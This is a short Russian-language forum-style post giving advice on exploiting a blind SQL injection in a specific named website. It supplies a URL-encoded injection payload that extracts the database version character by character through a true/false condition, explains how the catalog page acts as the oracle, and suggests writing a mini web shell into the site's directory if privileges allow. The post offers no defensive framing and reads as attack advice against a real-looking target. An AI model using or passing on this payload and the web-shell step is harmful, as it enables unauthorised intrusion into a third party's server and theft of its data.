Это слепая sql.

Её бессмысленно крутить, только по-символьно вытаскивать данные -

http://www.nova-plosha.com/index.php?hl=ru&idd=cat&cat=1%29%20or%201=1%20and% 20substring%28%28version%28%29%29,1,1%29=5%20%23w

Если что-то равно чему-то, в данном случае, первый символ версии субд=5 - выведет каталог), если нет - пустоту.

Или при лучших обстоятельствах сделать вывод мини-шелла в диру с сайтом при соответствующих привилегиях и правах.